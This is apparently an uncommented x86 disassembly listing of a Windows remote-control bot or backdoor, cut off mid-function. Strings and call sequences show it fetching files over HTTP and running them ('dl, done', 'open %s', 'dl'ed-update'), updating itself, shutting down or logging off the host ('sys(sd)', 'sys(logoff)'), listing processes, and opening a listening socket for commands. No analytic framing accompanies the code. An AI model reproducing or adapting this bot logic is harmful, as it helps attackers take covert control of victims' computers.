push ebp
mov ecx, edi
call sub_4017EE
push eax
lea ecx, [esi+26h]
call sub_4017EE
push eax
lea edx, [esp+34h+arg_20]
push offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
push edx
call sub_40102D
add esp, 14h
lea ecx, [esp+28h+arg_20]
push 0
call sub_4013E3
push eax
lea ecx, [esp+30h+arg_20]
call sub_4017EE
push eax
push ebx
call near ptr 71AB428Ah
nop
lea edi, [esi+7Ah]
mov ecx, edi
call sub_40168B
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push offset aHttpGetting ; "http(getting)"
push eax
push ecx
mov ecx, offset byte_4D8075
call sub_401118
push offset aWb ; "wb"
lea ecx, [esi+65h]
call sub_4017EE
push eax
call near ptr 77C3F010h
nop
mov ebx, eax
add esp, 8
test ebx, ebx
jnz short loc_41DC80
mov ecx, edi
call sub_40168B
mov dl, [esi+93h]
push eax
mov al, [esi+92h]
push offset aHttpBadopen ; "http(badopen)"
push edx
push eax
mov ecx, offset byte_4D8075
call sub_401118
lea ecx, [esp+38h+var_28]
mov [esp+38h+var_28], esi
push ecx
mov ecx, offset byte_4E8E9B
call sub_40120D
; ---------------------------------------------------------------------------
lea ecx, [esp+38h+var_1C]
mov byte ptr [esp+38h+arg_1134], 3
call sub_401226
lea ecx, [esp+38h+arg_10]
mov byte ptr [esp+38h+arg_1134], 2
call sub_401226
lea ecx, [esp+38h+var_4]
mov [esp+38h+arg_1134], 0FFFFFFFFh
call sub_401226
jmp loc_41DF48
; ---------------------------------------------------------------------------
loc_41DC80: ; CODE XREF: sub_41D830+3DBj
; sub_41D830+484j ...
mov eax, [esp+38h+var_24]
push 0
lea edx, [esp+3Ch+arg_12C]
push 1000h
push edx
push eax
nop
call near ptr 71AB615Ah
mov ebp, eax
test ebp, ebp
jle short loc_41DCF8
cmp ebp, 1000h
jge short loc_41DCB0
mov [esp+ebp+48h+arg_11C], 0
loc_41DCB0: ; CODE XREF: sub_41D830+476j
xor edi, edi
test ebp, ebp
jle short loc_41DC80
loc_41DCB6: ; CODE XREF: sub_41D830+4A5j
push 4
lea ecx, [esp+edi+4Ch+arg_11C]
push offset asc_444EC8 ; "\r\n\r\n"
push ecx
call near ptr 77C47A50h
nop
add esp, 0Ch
test eax, eax
jz short loc_41DCD9
inc edi
cmp edi, ebp
jl short loc_41DCB6
jmp short loc_41DC80
; ---------------------------------------------------------------------------
loc_41DCD9: ; CODE XREF: sub_41D830+4A0j
add edi, 4
cmp edi, ebp
jge short loc_41DCF8
loc_41DCE0: ; CODE XREF: sub_41D830+4C6j
movsx edx, [esp+edi+48h+arg_11C]
push ebx
push edx
call near ptr 77C40E76h
nop
add esp, 8
inc edi
cmp edi, ebp
jl short loc_41DCE0
loc_41DCF8: ; CODE XREF: sub_41D830+46Ej
; sub_41D830+4AEj ...
mov edi, [esp+48h+var_34]
push 0
lea eax, [esp+4Ch+arg_11C]
push 1000h
push eax
push edi
call near ptr 71AB615Ah
nop
mov ebp, eax
test ebp, ebp
jle short loc_41DD48
cmp ebp, 1000h
jge short loc_41DD28
mov [esp+ebp+58h+arg_10C], 0
loc_41DD28: ; CODE XREF: sub_41D830+4EEj
xor edi, edi
test ebp, ebp
jle short loc_41DCF8
loc_41DD2E: ; CODE XREF: sub_41D830+514j
movsx ecx, [esp+edi+58h+arg_10C]
push ebx
push ecx
nop
call near ptr 77C40E76h
add esp, 8
inc edi
cmp edi, ebp
jl short loc_41DD2E
jmp short loc_41DCF8
; ---------------------------------------------------------------------------
loc_41DD48: ; CODE XREF: sub_41D830+4E6j
push ebx
nop
call near ptr 77C40AB1h
add esp, 4
push edi
nop
call near ptr 71AB9639h
lea ecx, [esp+5Ch+var_40]
mov [esp+5Ch+arg_1110], 3
call sub_401226
lea ecx, [esp+5Ch+var_10]
mov [esp+5Ch+arg_1110], 2
call sub_401226
loc_41DD7B: ; CODE XREF: sub_41D830+2CFj
mov al, [esi+90h]
test al, al
jnz loc_41DE17
lea ebp, [esi+65h]
mov ecx, ebp
call sub_4017EE
lea edi, [esi+7Ah]
push eax
push offset aDlDone_S_ ; "dl, done. %s ."
mov ecx, edi
call sub_40168B
mov dl, [esi+93h]
push eax
mov al, [esi+92h]
push edx
push eax
push offset byte_4D8075
call sub_401857
mov al, [esi+8Fh]
add esp, 18h
test al, al
jz loc_41DF0C
push offset byte_448F30
mov ecx, ebp
call sub_4017EE
push eax
call sub_401299
add esp, 8
mov ecx, ebp
call sub_4017EE
push eax
push offset aOpenS_ ; "open %s."
mov ecx, edi
call sub_40168B
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 18h
jmp loc_41DF0C
; ---------------------------------------------------------------------------
loc_41DE17: ; CODE XREF: sub_41D830+553j
lea ebx, [esi+65h]
mov ecx, ebx
call sub_4017EE
lea edi, [esi+7Ah]
push eax
push offset aDlEdUpdateS ; "dl'ed-update: %s"
mov ecx, edi
call sub_40168B
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push eax
push ecx
push offset byte_4D8075
call sub_401857
push 0
push 5
push 14h
push 1
push 4
push 10h
push 15h
lea edx, [esp+90h+var_40]
push 51h
push edx
call sub_4019C4
add esp, 3Ch
mov ecx, eax
mov [esp+5Ch+arg_1110], 5
call sub_4014DD
push eax
mov ecx, ebx
call sub_4014DD
push eax
call sub_402167
add esp, 8
lea ecx, [esp+5Ch+var_40]
mov bl, al
mov [esp+5Ch+arg_1110], 2
call sub_401226
test bl, bl
jz short loc_41DEE7
mov al, byte_449896
test al, al
jz short loc_41DEB6
push offset dword_449834
mov ecx, offset dword_44AD70
call sub_401451
loc_41DEB6: ; CODE XREF: sub_41D830+675j
mov al, byte_4498DF
test al, al
jz short loc_41DECE
push offset byte_44990F
mov ecx, offset dword_44AD70
call sub_401951
loc_41DECE: ; CODE XREF: sub_41D830+68Dj
mov ecx, offset dword_44AD70
call sub_401E79
push 1
mov byte_4E8E44, 0
call near ptr 77C39E7Eh
nop
loc_41DEE7: ; CODE XREF: sub_41D830+66Cj
mov ecx, edi
call sub_4014DD
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push offset aExec_error ; "exec.error"
push eax
push ecx
mov ecx, offset byte_4D8075
call sub_401118
loc_41DF0C: ; CODE XREF: sub_41D830+597j
; sub_41D830+5E2j
mov [esp+60h+var_48], esi
lea edx, [esp+60h+var_48]
loc_41DF14: ; CODE XREF: sub_41D830+1E7j
push edx
loc_41DF15: ; CODE XREF: sub_41D830+23Ej
; sub_41D830+2BDj
mov ecx, offset byte_4E8E9B
call sub_40120D
; ---------------------------------------------------------------------------
lea ecx, [esp+60h+var_2C]
mov [esp+60h+arg_110C], 0FFFFFFFFh
call sub_401226
jmp short loc_41DF48
; ---------------------------------------------------------------------------
loc_41DF35: ; CODE XREF: sub_41D830+36j
; sub_41D830+4Dj ...
mov [esp+1Ch+var_C], esi
lea eax, [esp+1Ch+var_C]
loc_41DF3D: ; CODE XREF: sub_41D830+9Cj
push eax
mov ecx, offset byte_4E8E9B
call sub_40120D
sub_41D830 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41D830
loc_41DF48: ; CODE XREF: sub_41D830+44Bj
; sub_41D830+703j
mov ecx, [esp+38h+arg_112C]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov large fs:0, ecx
add esp, 1164h
retn
; END OF FUNCTION CHUNK FOR sub_41D830
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 1D0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41E140 proc near ; CODE XREF: sub_401BA4j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41E140
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 14h
push 0Fh
push 0Fh
push 2
push 5
push 12h
push 4Fh
push 3
lea eax, [esp+64h+var_3C]
push 10h
mov esi, ecx
push eax
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017EE
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
sub_41E140 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 0Eh
push 17h
push 0Fh
push 4
push 14h
push 15h
push 8
push 13h
push 4Fh
push 3
lea edx, [esp+30h]
push 10h
push edx
call sub_4019C4
add esp, 34h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_4017EE
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 6
push 6
push 0Fh
push 7
push 0Fh
push 0Ch
push 4Fh
push 3
lea ecx, [esp+40h]
push 10h
push ecx
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+40h], 2
call sub_4017EE
add esi, 60h
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41E2C0: ; CODE XREF: ___:loc_4010B4j
push ebx
push esi
push edi
mov edi, [esp+10h]
mov esi, ecx
lea ebx, [edi+7Eh]
lea ecx, [esi+4]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41E31B
push offset dword_444FCC
lea ecx, [edi+69h]
call sub_40168B
mov cl, [edi+93h]
push eax
mov al, [edi+94h]
push eax
push ecx
push offset byte_4D8075
call sub_401857
add esp, 14h
push 0
push 6
call near ptr 28A0AF2h
nop
pop edi
pop esi
xor al, al
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_41E31B: ; CODE XREF: ___:0041E2DEj
lea ecx, [esi+32h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41E36A
push offset aSysSd ; "sys(sd)"
lea ecx, [edi+69h]
call sub_40168B
mov dl, [edi+94h]
push eax
mov al, [edi+93h]
push edx
push eax
push offset byte_4D8075
call sub_401857
add esp, 14h
push 0
push 5
nop
call near ptr 28A0AF2h
pop edi
pop esi
xor al, al
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_41E36A: ; CODE XREF: ___:0041E32Dj
lea ecx, [esi+60h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41E3B1
push offset aSysLogoff ; "sys(logoff)"
lea ecx, [edi+69h]
call sub_40168B
mov cl, [edi+94h]
mov dl, [edi+93h]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 14h
push 0
push 4
call near ptr 28A0AF2h
nop
loc_41E3B1: ; CODE XREF: ___:0041E37Cj
pop edi
pop esi
xor al, al
pop ebx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41E400 proc near ; CODE XREF: sub_401F7Dj
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41E400
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 14h
push 13h
push 9
push 0Ch
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea eax, [esp+6Ch+var_3C]
push 10h
mov esi, ecx
push eax
call sub_4019C4
add esp, 30h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017EE
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
sub_41E400 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Ch
push 0Ch
push 9
push 0Bh
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea edx, [esp+30h]
push 10h
push edx
call sub_4019C4
add esp, 30h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017EE
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 3
push 16h
push 13h
push 14h
push 13h
push 9
push 0Ch
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea ecx, [esp+3Ch]
push 10h
push ecx
call sub_4019C4
add esp, 3Ch
mov dword ptr [esp+40h], 2
push esi
mov ecx, eax
call sub_4017EE
lea edx, [esi+8Eh]
push eax
push edx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 3
push 16h
push 13h
push 0Ch
push 0Ch
push 9
push 0Bh
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea eax, [esp+3Ch]
push 10h
push eax
call sub_4019C4
add esp, 3Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017EE
lea ecx, [esi+0BCh]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 4
push 9
push 10h
push 0Ch
push 0Ch
push 9
push 0Bh
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea edx, [esp+54h]
push 10h
push edx
call sub_4019C4
add esp, 3Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017EE
add esi, 60h
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41E660 proc near ; CODE XREF: sub_40161Dj
var_50 = dword ptr -50h
var_4C = byte ptr -4Ch
var_48 = byte ptr -48h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_41E660
push eax
mov large fs:0, esp
sub esp, 44h
push ebx
push ebp
push esi
mov esi, [esp+5Ch+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+4]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41E7FA
lea eax, [esp+60h+arg_0]
lea ecx, [esp+60h+var_48]
push eax
call sub_4018E8
; ---------------------------------------------------------------------------
lea ecx, [esp+60h+var_48]
mov [esp+60h+var_4], 0
push ecx
call sub_4011D6
add esp, 4
test al, al
jz loc_41E7E2
push 0
push 7Bh
push 25h
push 9
push 25h
push 25h
push 9
push 5
push 1Dh
push 23h
push 1Fh
lea edx, [esp+8Ch+var_3C]
push 79h
push edx
call sub_4019C4
add esp, 34h
mov edi, eax
lea ebx, [esi+69h]
mov byte ptr [esp+60h+var_4], 1
mov ecx, ebx
call sub_4014DD
push eax
mov ecx, edi
call sub_40168B
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D8075
call sub_401118
lea ecx, [esp+60h+var_3C]
mov byte ptr [esp+60h+var_4], 0
call sub_401226
lea ecx, [esp+60h+var_50]
call sub_40170D
lea edx, [esp+60h+var_4C]
lea ecx, [esp+60h+var_48]
push edx
xor edi, edi
call sub_4014E2
mov eax, [eax]
lea ecx, [esp+60h+var_4C]
push ecx
lea ecx, [esp+64h+var_48]
mov [esp+64h+var_50], eax
call sub_40197E
push eax
lea ecx, [esp+64h+var_50]
call sub_401811
test al, al
jz short loc_41E7E2
mov ebp, dword_5118D8
loc_41E76E: ; CODE XREF: sub_41E660+180j
lea ecx, [esp+60h+var_50]
inc edi
call sub_40122B
mov ecx, eax
call sub_4017EE
push eax
lea ecx, [esp+64h+var_50]
call sub_40122B
mov edx, [eax+15h]
mov ecx, ebx
push edx
push edi
push offset aD_PidDS ; "%d. - Pid: %d - \"%s\""
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D8075
call sub_401857
add esp, 20h
push 5DCh
call ebp
lea ecx, [esp+60h+var_50]
call sub_40107D
lea edx, [esp+60h+var_4C]
lea ecx, [esp+60h+var_48]
push edx
call sub_40197E
push eax
lea ecx, [esp+64h+var_50]
call sub_401811
test al, al
jnz short loc_41E76E
loc_41E7E2: ; CODE XREF: sub_41E660+62j
; sub_41E660+106j
lea ecx, [esp+60h+var_48]
mov [esp+60h+var_4], 0FFFFFFFFh
call sub_401825
; ---------------------------------------------------------------------------
mov al, 1
jmp loc_41EC17
; ---------------------------------------------------------------------------
loc_41E7FA: ; CODE XREF: sub_41E660+37j
lea ecx, [edi+32h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41E8EE
push offset asc_444600 ; " "
lea eax, [esp+64h+var_3C]
push 1
push eax
mov ecx, esi
call sub_4016B8
push offset byte_448F30
mov ecx, eax
mov [esp+64h+var_4], 2
call sub_4012EE
test eax, eax
setz bl
or edi, 0FFFFFFFFh
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
test bl, bl
jnz loc_41EC15
push offset asc_444600 ; " "
lea ecx, [esp+64h+var_3C]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+60h+var_4], 3
call sub_4017EE
push eax
call sub_401604
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+64h+var_3C]
push 1
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+60h+var_4], 4
call sub_4014DD
push eax
push offset dword_444FFC
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D8075
call sub_401857
add esp, 18h
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
mov al, 1
jmp loc_41EC17
; ---------------------------------------------------------------------------
loc_41E8EE: ; CODE XREF: sub_41E660+1ACj
lea ecx, [edi+8Eh]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41EA55
lea edx, [esp+60h+arg_0]
lea ecx, [esp+60h+var_48]
push edx
call sub_4016EA
; ---------------------------------------------------------------------------
lea eax, [esp+60h+var_48]
mov ebx, 5
push eax
mov [esp+64h+var_4], ebx
call sub_402162
add esp, 4
test al, al
jz loc_41EA3D
push 0
push 3Eh
push 13h
push ebx
push 3
push 9
push 16h
push 12h
push ebx
push 13h
lea ecx, [esp+88h+var_3C]
push 3Dh
push ecx
call sub_4019C4
add esp, 30h
mov edi, eax
lea ebp, [esi+69h]
mov byte ptr [esp+60h+var_4], 6
mov ecx, ebp
call sub_4014DD
push eax
mov ecx, edi
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D8075
call sub_401118
lea ecx, [esp+60h+var_3C]
mov byte ptr [esp+60h+var_4], bl
call sub_401226
lea ecx, [esp+60h+var_50]
call sub_401B54
lea ecx, [esp+60h+var_4C]
xor edi, edi
push ecx
lea ecx, [esp+64h+var_48]
call sub_401465
mov edx, [eax]
lea eax, [esp+60h+var_4C]
push eax
lea ecx, [esp+64h+var_48]
mov [esp+64h+var_50], edx
call sub_4013F7
push eax
lea ecx, [esp+64h+var_50]
call sub_4012BC
test al, al
jz short loc_41EA3D
mov ebx, dword_5118D8
loc_41E9D6: ; CODE XREF: sub_41E660+3DBj
lea ecx, [esp+60h+var_50]
inc edi
call sub_401055
mov ecx, eax
call sub_4017EE
push eax
push edi
push offset dword_444FF0
mov ecx, ebp
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 1Ch
push 5DCh
call ebx
lea ecx, [esp+60h+var_50]
call sub_401839
lea eax, [esp+60h+var_4C]
lea ecx, [esp+60h+var_48]
push eax
call sub_4013F7
push eax
lea ecx, [esp+64h+var_50]
call sub_4012BC
test al, al
jnz short loc_41E9D6
loc_41EA3D: ; CODE XREF: sub_41E660+2CFj
; sub_41E660+36Ej
lea ecx, [esp+60h+var_48]
mov [esp+60h+var_4], 0FFFFFFFFh
call sub_401253
; ---------------------------------------------------------------------------
mov al, 1
jmp loc_41EC17
; ---------------------------------------------------------------------------
loc_41EA55: ; CODE XREF: sub_41E660+2A3j
lea ecx, [edi+0BCh]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41EB4C
push offset asc_444600 ; " "
lea ecx, [esp+64h+var_3C]
push 1
push ecx
mov ecx, esi
call sub_4016B8
push offset byte_448F30
mov ecx, eax
mov [esp+64h+var_4], 7
call sub_4012EE
test eax, eax
setz bl
or edi, 0FFFFFFFFh
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
test bl, bl
jnz loc_41EC15
push offset asc_444600 ; " "
lea edx, [esp+64h+var_3C]
push 1
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+60h+var_4], 8
call sub_4017EE
push eax
call sub_401A0A
add esp, 4
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
push offset asc_444600 ; " "
lea eax, [esp+64h+var_3C]
push 1
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+60h+var_4], 9
call sub_4014DD
push eax
push offset dword_444FE8
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 18h
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
mov al, 1
jmp loc_41EC17
; ---------------------------------------------------------------------------
loc_41EB4C: ; CODE XREF: sub_41E660+40Aj
lea ecx, [edi+60h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41EC15
push offset asc_444600 ; " "
lea eax, [esp+64h+var_3C]
push 1
push eax
mov ecx, esi
call sub_4016B8
push offset byte_448F30
mov ecx, eax
mov [esp+64h+var_4], 0Ah
call sub_4012EE
test eax, eax
setz bl
or edi, 0FFFFFFFFh
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
test bl, bl
jnz short loc_41EC15
push offset asc_444600 ; " "
lea ecx, [esp+64h+var_24]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+60h+var_4], 0Bh
call sub_4017EE
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+60h+var_24]
mov ebx, eax
mov [esp+60h+var_4], edi
call sub_401226
test ebx, ebx
jz short loc_41EC15
push ebx
push offset dword_444FDC
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8075
call sub_401857
push ebx
call sub_4018B6
add esp, 1Ch
jmp short loc_41EC17
; ---------------------------------------------------------------------------
loc_41EC15: ; CODE XREF: sub_41E660+1F0j
; sub_41E660+44Ej ...
xor al, al
loc_41EC17: ; CODE XREF: sub_41E660+195j
; sub_41E660+289j ...
mov ecx, [esp+60h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 50h
retn 4
sub_41E660 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 180h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41EDB0: ; CODE XREF: ___:loc_402004j
push ebp
mov ebp, esp
push 0FFFFFFFFh
push (offset aD+26h)
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, dword_5118D8
mov [ebp-10h], esp
mov esi, ecx
mov dword ptr [ebp-4], 0
loc_41EDE0: ; CODE XREF: ___:0041EDF1j
mov al, [esi+0ABh]
test al, al
jnz short loc_41EDF3
push 3E8h
call edi
jmp short loc_41EDE0
; ---------------------------------------------------------------------------
loc_41EDF3: ; CODE XREF: ___:0041EDE8j
mov al, [esi+0ACh]
lea ecx, [esi+15h]
push eax
push ecx
mov ecx, offset byte_449277
call sub_401A41
lea edx, [ebp-14h]
mov ecx, offset byte_4E8E9B
push edx
mov [ebp-14h], esi
call sub_40120D
; ---------------------------------------------------------------------------
loc_41EE19: ; DATA XREF: ___:loc_41EE2Co
mov ecx, [ebp-0Ch]
pop edi
pop esi
xor eax, eax
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41EE2C: ; DATA XREF: ___:00442504o
mov eax, offset loc_41EE19
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41EE70 proc near ; CODE XREF: sub_401DFCj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, [esp+arg_0]
push esi
mov esi, ecx
mov [esi+11h], eax
mov cl, [eax+94h]
mov [esi+0A9h], cl
mov dl, [eax+93h]
mov [esi+0A8h], dl
mov cl, [eax+95h]
add eax, 15h
mov [esi+0AAh], cl
push eax
lea ecx, [esi+2Ah]
call sub_401FDC
mov edx, [esi+11h]
lea ecx, [esi+69h]
add edx, 54h
push edx
call sub_401FDC
mov eax, [esi+11h]
lea ecx, [esi+54h]
add eax, 3Fh
push eax
call sub_401FDC
mov ecx, [esi+11h]
add ecx, 2Ah
push ecx
lea ecx, [esi+3Fh]
call sub_401FDC
mov edx, [esi+11h]
lea ecx, [esi+15h]
push edx
call sub_401FDC
mov al, [esp+4+arg_4]
mov byte ptr [esi+0ABh], 1
mov [esi+0ACh], al
pop esi
retn 8
sub_41EE70 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41EF30 proc near ; CODE XREF: sub_4020C7j
var_DC = dword ptr -0DCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_94 = byte ptr -94h
var_88 = dword ptr -88h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_68 = dword ptr -68h
var_64 = byte ptr -64h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = byte ptr -54h
var_44 = byte ptr -44h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
arg_0 = byte ptr 4
arg_8 = byte ptr 0Ch
arg_14 = dword ptr 18h
arg_18 = byte ptr 1Ch
arg_20 = byte ptr 24h
arg_38 = byte ptr 3Ch
arg_50 = byte ptr 54h
arg_68 = byte ptr 6Ch
arg_80 = byte ptr 84h
arg_88 = byte ptr 8Ch
arg_A8 = byte ptr 0ACh
arg_E4 = byte ptr 0E8h
arg_F0 = byte ptr 0F4h
arg_118 = byte ptr 11Ch
arg_128 = byte ptr 12Ch
arg_138 = byte ptr 13Ch
arg_148 = byte ptr 14Ch
arg_158 = byte ptr 15Ch
arg_908 = byte ptr 90Ch
arg_18C8 = dword ptr 18CCh
arg_18D8 = dword ptr 18DCh
arg_1930 = byte ptr 1934h
arg_1970 = dword ptr 1974h
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_41EF30
push eax
mov eax, 19B4h
mov large fs:0, esp
call sub_437B30
push esi
push edi
mov edi, ecx
xor eax, eax
mov [esp+14h+var_8], edi
mov [esp+14h+arg_14], 10h
lea esi, [edi+19h]
mov ecx, esi
mov [ecx], eax
mov [ecx+4], eax
mov [ecx+8], eax
mov [ecx+0Ch], eax
mov word ptr [esi], 2
mov [edi+1Dh], eax
mov dx, word ptr dword_44964F
push edx
nop
call near ptr 71AB2B66h
push 6
push 1
push 2
mov [edi+1Bh], ax
call near ptr 71AB3B91h
nop
cmp eax, 0FFFFFFFFh
mov [edi+15h], eax
jnz short loc_41EFB7
lea eax, [esp+24h+var_18]
mov ecx, offset byte_4E8E9B
push eax
mov [esp+28h+var_18], edi
call sub_40120D
; ---------------------------------------------------------------------------
jmp loc_41F65A
; ---------------------------------------------------------------------------
loc_41EFB7: ; CODE XREF: sub_41EF30+6Dj
push 10h
push esi
push eax
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_41EFE7
mov ecx, [edi+15h]
push ecx
call near ptr 71AB9639h
nop
lea edx, [esp+34h+var_28]
mov ecx, offset byte_4E8E9B
push edx
mov [esp+38h+var_28], edi
call sub_40120D
; ---------------------------------------------------------------------------
jmp loc_41F65A
; ---------------------------------------------------------------------------
loc_41EFE7: ; CODE XREF: sub_41EF30+93j
mov al, byte_4E8E44
test al, al
jz loc_41F650
push ebx
mov ebx, dword_511B14
push ebp
mov ebp, dword_511CA0
